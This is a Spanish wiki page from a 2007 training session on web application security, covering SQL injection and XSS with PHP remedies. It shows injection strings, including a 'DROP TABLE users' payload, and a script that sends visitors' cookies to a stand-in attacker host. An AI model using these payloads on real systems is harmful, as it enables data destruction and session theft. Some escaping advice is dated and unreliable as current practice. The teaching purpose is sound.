Wiki source for CapacitacionSeguridadWeb


Show raw source

=====Capacitación sobre seguridad de aplicaciones web=====
Fecha: 20 de Octubre 2007
Por: Javier
Resumen: Sobre sql injection y ataques XSS
Tipo de capacitación: técnica pública

====SQL Injection====
**Problema:**
Es la injection de código sql debido a que al guardar información en la base de datos no limpiamos los datos enviados por el usuario.

%%http://example.org/datos.pgp?user_id=7
$query = "SELECT * FROM users WHERE id = '" . $user_id . "';"
http://example.org/datos.pgp?user_id=7' or '1'='1
http://example.org/datos.pgp?user_id=7'; DROP TABLE users; SELECT * FROM users WHERE '1'='1%%

**Soluciones:**
Limpiar toda variable antes de guardarla. Todas estas soluciones se pueden combinar, en muchos casos se deben combinar:

sql_escape:
%%(php)$user_id = mysql_escape_string($user_id); //pgsql_escape_string en postgresql
$query = "SELECT * FROM users WHERE id = '" . $user_id . "';"%%

Por qué no usar quotes magic o similares? La biblioteca de la misma base de datos es la manera más directa, más segura, quotes magic (OCSE) trata de dar una solución general a todas las bases de datos, en mi experiencia, es mejor usar funciones nativas, funciones especializadas.

casting:
%%(php)$user_id = (int)$user_id;%%

%%(php)settype($user_id, 'int');%%

expresiones regulares:
%%(php)$user_id = preg_replace("/[^A-Za-z0-9_.-]/", "", $user_id);%%
Aqui solo aceptamos letras, numeros y _.-

almidon:
%%(php)$user_id = $data->request['user_id']; // solo funciona en caso se user_id esta definido como dato.%%

%%(php)$user_id = Table::parse_var($user_id); %%

**Notas:**
Injection también puede ocurrir a un archivo (RFI remote file injection), o a un comando que luego ejecutemos: shell injection.
Blind Sql Injection: Normalmente injection es facilitada por los mensajes de error, con blind sql injection solo se tiene la opcion de éxito o fracaso, accediendo al catálogo se va construyendo el ataque.

====XSS atacks====
Es el opuesto, de cierto modo, es el injectar código malicioso a los datos para luego actuar al ser mostrados en pantalla.
Generalmente usado para “phishing”. Ataque, injectar en mi blog, o artículo. Un ejemplo que registraria en la bitacora maquina del atacante (example.com), los cookies de todo visitante del sitio donde se colocó el injection.

%%
<script>
document.write('<script src="http://www.example.com/get_cookies?cookies='
document.write(document.cookie)
document.write('"></script>');
</script>
%%
Este ejemplo registraria en la bitacora maquina del atacante (example.com), los cookies

Solución:
Limpiar toda variable que se tome (de la base de datos) a la pantalla.

%%(php)$datos = htmlentities($datos)
# ó
$datos = htmlspecialchars($datos)%%

{{files}}

Enlace: http://en.wikipedia.org/wiki/Code_injection

---
CategorySysAdmin
Valid XHTML :: Valid CSS: :: Powered by WikkaWiki